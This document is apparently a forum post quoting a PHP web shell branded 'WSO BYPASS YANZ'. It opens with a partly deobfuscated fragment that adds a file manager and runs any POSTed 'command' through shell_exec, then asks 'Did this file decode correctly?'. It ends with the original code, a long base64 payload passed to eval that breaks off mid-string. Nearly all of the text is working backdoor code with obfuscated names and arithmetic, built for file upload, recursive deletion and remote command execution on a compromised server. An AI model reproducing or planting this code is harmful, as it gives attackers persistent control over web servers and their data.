    $_o .= $_l & (int) round(1.3333333333333 + 1.3333333333333 + 1.3333333333333) ? "r" : "-";
    $_o .= $_l & (int) round(0.66666666666667 + 0.66666666666667 + 0.66666666666667) ? "w" : "-";
    $_o .= $_l & 0106 - 0105 ? $_l & (int) round(170.66666666667 + 170.66666666667 + 170.66666666667) ? "t" : "x" : ($_l & 0765 + 0470 - 0455 ? "T" : "-");
    return $_o;
}
function wpERmsCOlor($_rb)
{
    if (!@is_rEAdaBLE($_rb)) {
        return "<font color=#FF0000>" . wPErms(fILEpERMs($_rb)) . "</font>";
    } elseif (!@iS_WRItabLE($_rb)) {
        return "<font color=white>" . wPERms(FIlEperMS($_rb)) . "</font>";
    } else {
        return "<font color=#25ff00>" . wpeRmS(FiLepERmS($_rb)) . "</font>";
    }
}
function wScanDIR($_pa, $_u = "uvxf")
{
    if (funCTion_exISTs("scandir")) {
        return @ScAnDIr($_pa);
    } else {
        if ($_hcf = @oPENDIr($_pa)) {
            while (false !== ($_nm = @reAdDIR($_hcf))) {
                $_vgl[] = $_nm;
            }
            @ClOseDIr($_hcf);
        }
        return $_vgl;
    }
}
$_tcn = new _pps();
$_tcn->AFTErlOGin();
$_tcn->STaRtup();
if (@isset($_POST["a"])) {
    switch ($_POST["a"]) {
        case "fm":
            $_tcn->WheADer();
            $_tcn->acTfm();
            $_tcn->wfOoter();
            break;
        case "ft":
            if (@isset($_POST["x"]) && $_POST["x"] == "download") {
                $_tcn->aCtFT();
            } else {
                $_tcn->wHeADeR();
                $_tcn->aCTFT();
                $_tcn->wfoOteR();
            }
            break;
        case "sr":
            $_tcn->WhEAdEr();
            $_tcn->aCtSr();
            $_tcn->wfOOTer();
            break;
        case "Logout":
            $_tcn->actLoGoUT();
            break;
        default:
            $_tcn->WHeaDer();
            $_tcn->ActfM();
            $_tcn->WFOOtEr();
            break;
    }
} elseif (!@isset($_POST["a"])) {
    $_tcn->WHeAdER();
    $_tcn->AcTfm();
    $_tcn->WfOOTER();
    if (isset($_POST[\'subcmd\'])) {
        echo "<pre class=\'text-white\'>";
        $input = $_POST[\'command\'];
        $output = shell_exec($input);
        echo "<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>";
        echo "<center>WSO BYPASS YANZ!</center>";
        echo "<br>";
        echo \'$WSOYanZ: \';
        echo $output;
        echo "</pre>";
        exit;
    }
}'

Did this file decode correctly?

Original Code

<?php 
echo eval('?>'.base64_decode("PD9waHAgCkBzZXRfdGltZV9saW1pdCgwKTsKZXJyb3JfcmVwb3J0aW5nKDApOwoKaWYgKGZVbmN0SU9uX0VYaVNUUygiaW5pX3NldCIpKSB7CiAgICBAaU5pX3NldCgiZXJyb3JfbG9nIiwgbnVsbCk7CiAgICBAaW5JX3NFdCgibG9nX2Vycm9ycyIsIChpbnQpIHJvdW5kKDAgKyAwICsgMCkpOwogICAgQEluaV9zZXQoIm1heF9leGVjdXRpb25fdGltZSIsIDAxMTUzIC0gMDExNTMpOwp9CmlmIChmVU5DVGlPbl9FeElzVHMoInNldF9tYWdpY19xdW90ZXNfcnVudGltZSIpKSB7CiAgICBpZiAodkVyc2lPbl9jT21wYVJlKHBoUFZlcnNJb24oKSwgIjUuNC4wIiwgIjwiKSkgewogICAgICAgIG1hZ2ljX3F1b3Rlc19ydW50aW1lKChpbnQpIHJvdW5kKDAgKyAwICsgMCkpOwogICAgfQp9CmNsYXNzIF9wcHMKewogICAgcHVibGljICRoc2g7CiAgICBwdWJsaWMgJF9pOwogICAgcHVibGljICRfdGFqOwogICAgcHVibGljICRfaGVqOwogICAgcHVibGljICRfY3A7CiAgICBwdWJsaWMgJF96YTsKICAgIHB1YmxpYyAkX3pydDsKICAgIHB1YmxpYyAkX3dkYTsKICAgIHB1YmxpYyAkX3ZwYjsKICAgIHB1YmxpYyAkX3ZvcjsKICAgIGZ1bmN0aW9uIHNlVENvT2soJF9ndHEsICRfZSkKICAgIHsKICAgICAgICAkX0NPT0tJRVskX2d0cV0gPSAkX2U7CiAgICAgICAgU2VUY09Pa2llKCRfZ3RxLCAkX2UpOwogICAgfQogICAgZnVuY3Rpb24gYWZ0ZXJsb2dpTigpCiAgICB7CiAgICAgICAgJHRoaXMtPmhzaCA9ICJmYTcwNGU3MzY2ZDY2NmJkIjsKICAgICAgICAkdGhpcy0+X2kgPSAiXyIgLiBzVWJTVHIobUQ1KCRfU0VSVkVSWyJIVFRQX0hPU1QiXSksIC0wNTYgLSAtMDE1MiAtIDA3NCwgMDc1ICsgMDE0NiArIC0wMjQwKTsKICAgICAgICAkdGhpcy0+X3RhaiA9ICIjZGY1IjsKICAgICAgICAkdGhpcy0+X2hlaiA9ICJXaW5kb3dzLTEyNTEiOwogICAgICAgIGlmICghQGlzc2V0KCRfQ09PS0lFWyR0aGlzLT5faV0pIHx8ICRfQ09PS0lFWyR0aGlzLT5faV0gIT0gJHRoaXMtPmhzaCkgewogICAgICAgICAgICAkdGhpcy0+U2V0Y09vSygkdGhpcy0+X2ksICR0aGlzLT5oc2gpOwogICAgICAgIH0KICAgIH0KICAgIGZ1bmN0aW9uIHNUQXJUVVAoKQogICAgewogICAgICAgIGlmIChGVU5DVElPTl9leGlTVFMoImluaV9nZXQiKSkgewogICAgICAgICAgICAkX3ZwYiA9IEBJTklfZ2VUKCJzYWZlX21vZGUiKTsKICAgICAgICAgICAgJF9jcCA9IEBJTmlfZ2VUKCJkaXNhYmxlX2Z1bmN0aW9ucyIpOwogICAgICAgIH0KICAgICAgICBpZiAoISRfdnBiICYmIEZVTkNUaW9uX0V4aVN0cygiZXJyb3JfcmVwb3J0aW5nIikpIHsKICAgICAgICAgICAgRVJSb1JfcmVQb1JUSU5nKChpbnQpIHJvdW5kKDAgKyAwKSk7CiAgICAgICAgfQogICAgICAgIGlmICghJF92cGIgJiYgRlVuQ1RJT25fRXhJc1RzKCJzZXRfdGltZV9saW1pdCIpKSB7CiAgICAgICAgICAgIHNlVF90SU1FX2xpbWl0KChpbnQpIHJvdW5kKDAgKyAwKSk7CiAgICAgICAgfQogICAgICAgIGlmIChmVU5jdElvTl9lWGlTVHMoImdldF9tYWdpY19xdW90ZXNfZ3BjIikgJiYgZnVOQ1RJb25fRXhJU3RTKCJhcnJheV9tYXAiKSAmJiBmVU5jVGlPbl9lWGlTdHMoInN0cmlwc2xhc2hlcyIpICYmIGZ1bkNUaW9uX2V4SXN0UygiaXNfYXJyYXkiKSkgewogICAgICAgICAgICBpZiAoQEdlVF9tYUdJQ19xdU90RXNfZ1BDKCkpIHsKICAgICAgICAgICAgICAgIGZ1bmN0aW9uIFdTUygkX2EpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEBJc19hcnJhWSgkX2EpID8gQEFyUkFZX01BcCgiV1NTIiwgJF9hKSA6IEBTVFJJUHNsQXNoRXMoJF9hKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRfUE9TVCA9IFdTcygkX1BPU1QpOwogICAgICAgICAgICAgICAgJF9DT09LSUUgPSB3c3MoJF9DT09LSUUpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGlmICghRlVuQ3RpT05fRVhJc3RzKCJwb3NpeF9nZXRwd3VpZCIpICYmIFN0clBPUygkX2NwLCAicG9zaXhfZ2V0cHd1aWQiKSA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgZnVuY3Rpb24gcE9TaVhfR2VUcHdVaWQoJF9sKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgaWYgKCFGVW5jVElvTl9FeGlzVFMoInBvc2l4X2dldGdyZ2lkIikgJiYgU3RSUG9zKCRfY3AsICJwb3NpeF9nZXRncmdpZCIpID09PSBmYWxzZSkgewogICAgICAgICAgICBmdW5jdGlvbiBQT3NJeF9HZXRnUmdpZCgkX2wpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBpZiAoU3RSdE9sb3dFUihzdUJTVHIoUEhQX09TLCAwMTIwMCArIC0wMTIwMCwgKGludCkgcm91bmQoMS41ICsgMS41KSkpID09ICJ3aW4iKSB7CiAgICAgICAgICAgICRfdm9yID0gIndpbiI7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJF92b3IgPSAibml4IjsKICAgICAgICB9CiAgICAgICAgJF93ZGEgPSAkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdOwogICAgICAgIGlmIChGVW5jdGlPbl9leElTdFMoImdldGN3ZCIpKSB7CiAgICAgICAgICAgICRfenJ0ID0gQEdlVGN3RCgpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRfenJ0ID0gQERJUm5hbWUoX19GSUxFX18pOwogICAgICAgIH0KICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWyJjIl0pICYmICRfUE9TVFsiYyJdICE9ICIiKSB7CiAgICAgICAgICAgICRfUE9TVFsiYyJdID0gU1RSX1JPdDEzKCRfUE9TVFsiYyJdKTsKICAgICAgICB9CiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsiYyJdKSkgewogICAgICAgICAgICBpZiAoRnVuQ1Rpb25fRVhpc1RzKCJjaGRpciIpKSB7CiAgICAgICAgICAgICAgICBAQ0hEaXIoJF9QT1NUWyJjIl0pOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGlmIChGdU5DdElPTl9lWGlTVFMoImdldGN3ZCIpKSB7CiAgICAgICAgICAgICRfemEgPSBAR2VUY3dkKCk7CiAgICAgICAgfSBlbHNlaWYgKEBpc3NldCgkX1BPU1RbImMiXSkgJiYgJF9QT1NUWyJjIl0gIT0gIiIpIHsKICAgICAgICAgICAgJF96YSA9ICRfUE9TVFsiYyJdOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRfemEgPSAkX3pydDsKICAgICAgICB9CiAgICAgICAgaWYgKCRfdm9yID09ICJ3aW4iKSB7CiAgICAgICAgICAgICRfenJ0ID0gU3RyX1JFUGxBY0UoIlxcIiwgIi8iLCAkX3pydCk7CiAgICAgICAgICAgICRfemEgPSBTdFJfckVwbGFDRSgiXFwiLCAiLyIsICRfemEpOwogICAgICAgIH0KICAgICAgICBpZiAoJF96YVtTdHJsZW4oJF96YSkgLSAoMDU3NyAtIC0wNjIxIC0gMDE0MTcpXSAhPSAiLyIpIHsKICAgICAgICAgICAgJF96YSAuPSAiLyI7CiAgICAgICAgfQogICAgICAgICR0aGlzLT5fY3AgPSAkX2NwOwogICAgICAgICR0aGlzLT5femEgPSAkX3phOwogICAgICAgICR0aGlzLT5fenJ0ID0gJF96cnQ7CiAgICAgICAgJHRoaXMtPl93ZGEgPSAkX3dkYTsKICAgICAgICAkdGhpcy0+X3ZwYiA9ICRfdnBiOwogICAgICAgICR0aGlzLT5fdm9yID0gJF92b3I7CiAgICB9CiAgICBmdW5jdGlvbiBBY3Rsb0dPdVQoKQogICAgewogICAgICAgICRfaSA9ICR0aGlzLT5faTsKICAgICAgICBTRVRDT29rSUUoJF9pLCAiIiwgVGltRSgpIC0gKGludCkgcm91bmQoMTgwMCArIDE4MDApKTsKICAgICAgICBkaWUoImJ5ZSEiKTsKICAgIH0KICAgIGZ1bmN0aW9uIGFDdEZtKCkKICAgIHsKICAgICAgICAkX3phID0gJHRoaXMtPl96YTsKICAgICAgICBpZiAoIWVtcHR5KCRfUE9TVFsicCJdKSkgewogICAgICAgICAgICAkX296bCA9IEBGaUxFTVRJbWUoJF9QT1NUWyJjIl0pOwogICAgICAgICAgICBzd2l0Y2ggKCRfUE9TVFsicCJdKSB7CiAgICAgICAgICAgICAgICBjYXNlICJ1cGxvYWRGaWxlIjoKICAgICAgICAgICAgICAgICAgICBpZiAoIUBNb1ZFX1VQTE9BRGVEX0ZJbGUoJF9GSUxFU1siZiJdWyJ0bXBfbmFtZSJdLCAkX0ZJTEVTWyJmIl1bIm5hbWUiXSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiQ2FuJ3QgdXBsb2FkIGZpbGUhIjsKICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJF9vemwpIHsKICAgICAgICAgICAgICAgICAgICAgICAgQHRPVWNIKCRfRklMRVNbImYiXVsibmFtZSJdLCAkX296bCwgJF9vemwpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgIm1rZGlyIjoKICAgICAgICAgICAgICAgICAgICBpZiAoIUBtS0RpcihzdFJfcm9UMTMoJF9QT1NUWyJ4Il0pKSkgewogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJDYW4ndCBjcmVhdGUgbmV3IGRpciI7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRfb3psKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIEBUT3VjSChTdFJfUm90MTMoJF9QT1NUWyJ4Il0pLCAkX296bCwgJF9vemwpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgImRlbGV0ZSI6CiAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gREVMRVRlZElSKCRfd2UpCiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAkX3dlID0gc3VCU3RyKCRfd2UsIC0oaW50KSByb3VuZCgwLjUgKyAwLjUpKSA9PSAiLyIgPyAkX3dlIDogJF93ZSAuICIvIjsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfaGNmID0gQG9QRW5ESVIoJF93ZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICgoJF9ub3MgPSBAcmVhRERJcigkX2hjZikpICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfbm9zID0gJF93ZSAuICRfbm9zOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChAYkFzZU5hbWUoJF9ub3MpID09ICIuLiIgfHwgQEJBU0VOQW1FKCRfbm9zKSA9PSAiLiIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfZWkgPSBAZklsZXRZUGUoJF9ub3MpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkX2VpID09ICJkaXIiKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIERlTEV0ZWRJUigkX25vcyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQHVOTGluaygkX25vcyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQENMT3NlZGlyKCRfaGNmKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBAUk1kaXIoJF93ZSk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGlmIChASXNfQVJyQVkoJF9QT1NUWyJmIl0pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRfUE9TVFsiZiJdIGFzICRfcmIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkX3JiID09ICIuLiIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfcmIgPSBTVFJfUk90MTMoVVJMZEVDb2RFKCRfcmIpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChAaXNfZGlSKCRfcmIpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZEVsRVRFZElyKCRfcmIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAdU5sSW5rKCRfcmIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkX296bCkgewogICAgICAgICAgICAgICAgVG9VY0goJF9QT1NUWyJjIl0sICRfb3psLCAkX296bCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZWNobyAiPGgxPkZpbGUgbWFuYWdlcjwvaDE+PGRpdiBjbGFzcz1jb250ZW50PjxzY3JpcHQ+cF89eF89c189XCJcIjs8L3NjcmlwdD4iOwogICAgICAgICRfd2IgPSBXc0NhbkRpcihAaXNzZXQoJF9QT1NUWyJjIl0pID8gJF9QT1NUWyJjIl0gOiAkX3phKTsKICAgICAgICBpZiAoJF93YiA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgZWNobyAiQ2FuJ3Qgb3BlbiB0aGlzIGZvbGRlciEiOwogICAgICAgICAgICByZXR1cm47CiAgICAgICAgfQogICAgICAgIGdsb2JhbCAkX3JwbDsKICAgICAgICAkX3JwbCA9IGFycmF5KCJuYW1lIiwgLTAyNjMgKyAtMDM0IC0gLTAzMjApOwogICAgICAgIGlmICghZW1wdHkoJF9QT1NUWyJwIl0pKSB7CiAgICAgICAgICAgIGlmIChAcFJlZ19tYXRDSCgiIXNfKFtBLXpdKylfKFxcZHsxfSkhIiwgJF9QT1NUWyJwIl0sICRfdGYpKSB7CiAgICAgICAgICAgICAgICAkX3JwbCA9IGFycmF5KCRfdGZbMDQwMiArIC0wMTM1IC0gMDI0NF0sIChpbnQpICRfdGZbMDQwNyAtIDA0MDVdKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBlY2hvICI8c2NyaXB0PmZ1bmN0aW9uIHNhKCl7Zm9yKGk9MDtpPGQuZmlsZXMuZWxlbWVudHMubGVuZ3RoO2krKylpZihkLmZpbGVzLmVsZW1lbnRzW2ldLnR5cGU9PSdjaGVja2JveCcpZC5maWxlcy5lbGVtZW50c1tpXS5jaGVja2VkPWQuZmlsZXMuZWxlbWVudHNbMF0uY2hlY2tlZDt9PC9zY3JpcHQ+PHRhYmxlIHdpZHRoPScxMDAlJyBjbGFzcz0nbWFpbicgY2VsbHNwYWNpbmc9JzAnIGNlbGxwYWRkaW5nPScyJz48Zm9ybSBuYW1lPWZpbGVzIG1ldGhvZD1wb3N0Pjx0cj48dGggd2lkdGg9JzEzcHgnPjxpbnB1dCB0eXBlPWNoZWNrYm94IG9uY2xpY2s9J3NhKCknIGNsYXNzPWNoa2J4PjwvdGg+PHRoIHdpZHRoPSc0MCUnPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJmbVwiLG51bGwsXCJzX25hbWVfIiAuICgkX3JwbFsoaW50KSByb3VuZCgwLjMzMzMzMzMzMzMzMzMzICsgMC4zMzMzMzMzMzMzMzMzMyArIDAuMzMzMzMzMzMzMzMzMzMpXSA/IChpbnQpIHJvdW5kKDAgKyAwICsgMCkgOiAoaW50KSByb3VuZCgwLjMzMzMzMzMzMzMzMzMzICsgMC4zMzMzMzMzMzMzMzMzMyArIDAuMzMzMzMzMzMzMzMzMzMpKSAuICJcIiknPk5hbWU8L2E+PC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcImZtXCIsbnVsbCxcInNfc2l6ZV8iIC4gKCRfcnBsWyhpbnQpIHJvdW5kKDAuMzMzMzMzMzMzMzMzMzMgKyAwLjMzMzMzMzMzMzMzMzMzICsgMC4zMzMzMzMzMzMzMzMzMyldID8gLTA1NjEgLSAtMDM3MyAtIC0wMTY2IDogMDEyMzAgLSAwMTIyNykgLiAiXCIpJz5TaXplPC9hPjwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJmbVwiLG51bGwsXCJzX21vZGlmeV8iIC4gKCRfcnBsWyhpbnQpIHJvdW5kKDAuNSArIDAuNSldID8gKGludCkgcm91bmQoMCArIDApIDogMDEgLSAwMCkgLiAiXCIpJz5Nb2RpZnk8L2E+PC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcImZtXCIsbnVsbCxcInNfcGVybXNfIiAuICgkX3JwbFsoaW50KSByb3VuZCgwLjUgKyAwLjUpXSA/IChpbnQpIHJvdW5kKDAgKyAwKSA6IChpbnQpIHJvdW5kKDAuNSArIDAuNSkpIC4gIlwiKSc+UGVybWlzc2lvbnM8L2E+PC90aD48dGggd2lkdGg9JzIwMHB4Jz5BY3Rpb25zPC90aD48L3RyPiI7CiAgICAgICAgJF9xID0gJF92Z2wgPSBhcnJheSgpOwogICAgICAgICRfdCA9IENPVU50KCRfd2IpOwogICAgICAgIGZvciAoJF9vID0gKGludCkgcm91bmQoMCArIDAgKyAwKTsgJF9vIDwgJF90OyAkX28rKykgewogICAgICAgICAgICAkX2ogPSBhcnJheSgibmFtZSIgPT4gJF93YlskX29dLCAicGF0aCIgPT4gJF96YSAuICRfd2JbJF9vXSwgIm1vZGlmeSIgPT4gQERBVEUoIlktbS1kIEg6aTpzIiwgQEZJbGVNVGltRSgkX3phIC4gJF93YlskX29dKSksICJwZXJtcyIgPT4gV3BFUk1zQ09sT1IoJF96YSAuICRfd2JbJF9vXSksICJzaXplIiA9PiBARklMZXNpemUoJF96YSAuICRfd2JbJF9vXSkpOwogICAgICAgICAgICBpZiAoQGlzX2ZJbEUoJF96YSAuICRfd2JbJF9vXSkpIHsKICAgICAgICAgICAgICAgICRfdmdsW10gPSBAYXJSYXlfbUVSZ0UoJF9qLCBhcnJheSgidHlwZSIgPT4gImZpbGUiKSk7CiAgICAgICAgICAgIH0gZWxzZWlmIChASVNfTGlOSygkX3phIC4gJF93YlskX29dKSkgewogICAgICAgICAgICAgICAgJF9xW10gPSBAQVJyYXlfbWVyR0UoJF9qLCBhcnJheSgidHlwZSIgPT4gImxpbmsiLCAibGluayIgPT4gUmVBRExJbksoJF9qWyJwYXRoIl0pKSk7CiAgICAgICAgICAgIH0gZWxzZWlmIChASVNfRElSKCRfemEgLiAkX3diWyRfb10pKSB7CiAgICAgICAgICAgICAgICAkX3FbXSA9IEBBUnJhWV9tRXJHZSgkX2osIGFycmF5KCJ0eXBlIiA9PiAiZGlyIikpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIHdjbVAoJF9zbnAsICRfankpCiAgICAgICAgewogICAgICAgICAgICBnbG9iYWwgJF9ycGw7CiAgICAgICAgICAgIGlmICgkX3JwbFswMjE1IC0gMDIxNV0gIT0gInNpemUiKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gQFN0UmNNUChTVHJUb0xPd2VyKCRfc25wWyRfcnBsWy0wMjM2IC0gLTAyMzZdXSksIHN0cnRPbG93RXIoJF9qeVskX3JwbFswMTU1ICsgLTAxNDIgKyAtMDEzXV0pKSAqICgkX3JwbFsoaW50KSByb3VuZCgwLjUgKyAwLjUpXSA/IChpbnQpIHJvdW5kKDAuMzMzMzMzMzMzMzMzMzMgKyAwLjMzMzMzMzMzMzMzMzMzICsgMC4zMzMzMzMzMzMzMzMzMykgOiAtKC0wNDY1IC0gLTA0NjYpKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIHJldHVybiAoJF9zbnBbInNpemUiXSA8ICRfanlbInNpemUiXSA/IC0oMDYwMSAtIDA2MDApIDogKGludCkgcm91bmQoMC41ICsgMC41KSkgKiAoJF9ycGxbKGludCkgcm91bmQoMC41ICsgMC41KV0gPyAwMzEyICsgLTAyMjcgKyAtMDYyIDogLSgwMTcgLSAwMTYpKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBAVXNPUnQoJF92Z2wsICJ3Q21wIik7CiAgICAgICAgQFVzb3J0KCRfcSwgIndDbXAiKTsKICAgICAgICAkX3ZnbCA9IEBBcnJBWV9NRVJHRSgkX3EsICRfdmdsKTsKICAgICAgICAkX2ZsID0gMDU0NSAtIDAyNzcgLSAwMjQ2OwogICAgICAgIGZvcmVhY2ggKCRfdmdsIGFzICRfcmIpIHsKICAgICAgICAgICAgJF9mYyA9IFN0Ul9yb3QxMyh1ckxlTmNvZEUoJF9yYlsibmFtZSJdKSk7CiAgICAgICAgICAgIGVjaG8gIjx0ciIgLiAoJF9mbCA/ICIgY2xhc3M9bDEiIDogIiIpIC4gIj48dGQ+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1cImZbXVwiIHZhbHVlPVwiIiAuICRfZmMgLiAiXCIgY2xhc3M9Y2hrYng+PC90ZD48dGQ+PGEgaHJlZj0jIG9uY2xpY2s9XCIiIC4gKCRfcmJbInR5cGUiXSA9PSAiZmlsZSIgPyAiZygnZnQnLG51bGwsJyIgLiAkX2ZjIC4gIicsICd2aWV3JylcIj4iIC4gaHRtTFNwZWNpQWxDaEFSUygkX3JiWyJuYW1lIl0pIDogImcoJ2ZtJywnIiAuIFN0cl9Sb1QxMygkX3JiWyJwYXRoIl0pIC4gIicpO1wiICIgLiAoZW1wdHkoJF9yYlsibGluayJdKSA/ICIiIDogInRpdGxlPSciIC4gJF9yYlsibGluayJdIC4gIiciKSAuICI+PGI+WyAiIC4gaFRtTHNwZWNpYWxjaGFycygkX3JiWyJuYW1lIl0pIC4gIiBdPC9iPiIpIC4gIjwvYT48L3RkPjx0ZD4iIC4gKCRfcmJbInR5cGUiXSA9PSAiZmlsZSIgPyB2aUV3c0l6ZSgkX3JiWyJzaXplIl0pIDogJF9yYlsidHlwZSJdKSAuICI8L3RkPjx0ZD4iIC4gJF9yYlsibW9kaWZ5Il0gLiAiPC90ZD48dGQ+PGEgaHJlZj0jIG9uY2xpY2s9XCJnKCdmdCcsbnVsbCwnIiAuICRfZmMgLiAiJywnY2htb2QnKVwiPiIgLiAkX3JiWyJwZXJtcyJdIC4gIjwvdGQ+PHRkPjxhIGhyZWY9XCIjXCIgb25jbGljaz1cImcoJ2Z0JyxudWxsLCciIC4gJF9mYyAuICInLCAncmVuYW1lJylcIj5SZW5hbWU8L2E+IDxhIGhyZWY9XCIjXCIgb25jbGljaz1cImcoJ2Z0JyxudWxsLCciIC4gJF9mYyAuICInLCAndG91Y2gnKVwiPlRvdWNoPC9hPiIgLiAoJF9yYlsidHlwZSJdID09ICJmaWxlIiA/ICIgPGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZygnZnQnLG51bGwsJyIgLiAkX2ZjIC4gIicsICdlZGl0JylcIj5FZGl0PC9hPiA8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJnKCdmdCcsbnVsbCwnIiAuICRfZmMgLiAiJywgJ2Rvd25sb2FkJylcIj5Eb3dubG9hZDwvYT4iIDogIiIpIC4gIjwvdGQ+PC90cj4iOwogICAgICAgICAgICAkX2ZsID0gJF9mbCA/IC0wNzQyICsgMDc0MiA6IC0wNzUzIC0gLTA3NTQ7CiAgICAgICAgfQogICAgICAgIGVjaG8gIjx0cj48dGQgY29sc3Bhbj03PlxyXG5cdFx0PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nZm0nPlxyXG5cdFx0PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIiAuIEh0TWxTUEVjaWFsQ2hBclMoc1RyX1JPVDEzKCRfemEpKSAuICInPlxyXG5cdFx0PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2ggdmFsdWU9JyIgLiAoQGlzc2V0KCRfUE9TVFsiY2giXSkgPyAkX1BPU1RbImNoIl0gOiAiIikgLiAiJz5cclxuXHRcdDxzZWxlY3QgbmFtZT0ncCc+PG9wdGlvbiB2YWx1ZT0nZGVsZXRlJz5EZWxldGU8L29wdGlvbj48L3NlbGVjdD4mbmJzcDs8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nPj4nPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT48L2Rpdj4iOwogICAgfQogICAgZnVuY3Rpb24gQUN0RnQoKQogICAgewogICAgICAgICRfY3AgPSAkdGhpcy0+X2NwOwogICAgICAgIGlmIChAaXNzZXQoJF9QT1NUWyJwIl0pKSB7CiAgICAgICAgICAgICRfUE9TVFsicCJdID0gU1RyX1JPdDEzKFVyTERlY09kRSgkX1BPU1RbInAiXSkpOwogICAgICAgIH0KICAgICAgICBpZiAoQGlzc2V0KCRfUE9TVFsieCJdKSkgewogICAgICAgICAgICBzd2l0Y2ggKCRfUE9TVFsieCJdKSB7CiAgICAgICAgICAgICAgICBjYXNlICJkb3dubG9hZCI6CiAgICAgICAgICAgICAgICAgICAgaWYgKEBJc19GSWxlKCRfUE9TVFsicCJdKSAmJiBASVNfUkVBRGFCbGUoJF9QT1NUWyJwIl0pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIE9CX1N0QVJUKCJvYl9nemhhbmRsZXIiLCAoaW50KSByb3VuZCgyMDQ4ICsgMjA0OCkpOwogICAgICAgICAgICAgICAgICAgICAgICBAaGVhREVyKCJDb